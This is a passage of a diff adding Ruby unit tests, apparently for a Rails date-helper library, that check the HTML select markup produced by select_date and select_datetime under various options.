+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(0, :prefix => "date[first]")
+ end
+
+ def test_select_date_with_nil_value_and_no_start_and_end_year
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(nil, :prefix => "date[first]")
+ end
+
+ def test_select_date_with_html_options
+ expected = %(<select id="date_first_year" name="date[first][year]" class="selector">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]" class="selector">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]" class="selector">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005, :prefix => "date[first]"}, :class => "selector")
+ end
+
+ def test_select_date_with_separator
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << " / "
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << " / "
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :date_separator => " / ", :start_year => 2003, :end_year => 2005, :prefix => "date[first]"})
+ end
+
+ def test_select_date_with_separator_and_discard_day
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << " / "
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<input type="hidden" id="date_first_day" name="date[first][day]" value="1" />\n)
+
+ assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :date_separator => " / ", :discard_day => true, :start_year => 2003, :end_year => 2005, :prefix => "date[first]"})
+ end
+
+ def test_select_date_with_separator_discard_month_and_day
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<input type="hidden" id="date_first_month" name="date[first][month]" value="8" />\n)
+ expected << %(<input type="hidden" id="date_first_day" name="date[first][day]" value="1" />\n)
+
+ assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :date_separator => " / ", :discard_month => true, :discard_day => true, :start_year => 2003, :end_year => 2005, :prefix => "date[first]"})
+ end
+
+ def test_select_date_with_hidden
+ expected = %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003"/>\n)
+ expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
+ expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="16" />\n)
+
+ assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :prefix => "date[first]", :use_hidden => true })
+ assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :date_separator => " / ", :prefix => "date[first]", :use_hidden => true })
+ end
+
+ def test_select_date_with_css_classes_option
+ expected = %(<select id="date_first_year" name="date[first][year]" class="year">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]" class="month">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]" class="day">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005, :prefix => "date[first]", :with_css_classes => true})
+ end
+
+ def test_select_date_with_css_classes_option_and_html_class_option
+ expected = %(<select id="date_first_year" name="date[first][year]" class="datetime optional year">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]" class="datetime optional month">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]" class="datetime optional day">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005, :prefix => "date[first]", :with_css_classes => true}, { class: 'datetime optional' })
+ end
+
+ def test_select_datetime
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :prefix => "date[first]")
+ end
+
+ def test_select_datetime_with_ampm
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+ expected << %(<option value="00">12 AM</option>\n<option value="01">01 AM</option>\n<option value="02">02 AM</option>\n<option value="03">03 AM</option>\n<option value="04">04 AM</option>\n<option value="05">05 AM</option>\n<option value="06">06 AM</option>\n<option value="07">07 AM</option>\n<option value="08" selected="selected">08 AM</option>\n<option value="09">09 AM</option>\n<option value="10">10 AM</option>\n<option value="11">11 AM</option>\n<option value="12">12 PM</option>\n<option value="13">01 PM</option>\n<option value="14">02 PM</option>\n<option value="15">03 PM</option>\n<option value="16">04 PM</option>\n<option value="17">05 PM</option>\n<option value="18">06 PM</option>\n<option value="19">07 PM</option>\n<option value="20">08 PM</option>\n<option value="21">09 PM</option>\n<option value="22">10 PM</option>\n<option value="23">11 PM</option>\n)
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :ampm => true)
+ end
+
+ def test_select_datetime_with_separators
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :datetime_separator => ' &mdash; ', :time_separator => ' : ')
+ end
+
+ def test_select_datetime_with_nil_value_and_no_start_and_end_year
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_datetime(nil, :prefix => "date[first]")
+ end
+
+ def test_select_datetime_with_html_options
+ expected = %(<select id="date_first_year" name="date[first][year]" class="selector">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+
+ expected << %(<select id="date_first_month" name="date[first][month]" class="selector">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]" class="selector">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %(<select id="date_first_hour" name="date[first][hour]" class="selector">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_first_minute" name="date[first][minute]" class="selector">\n)
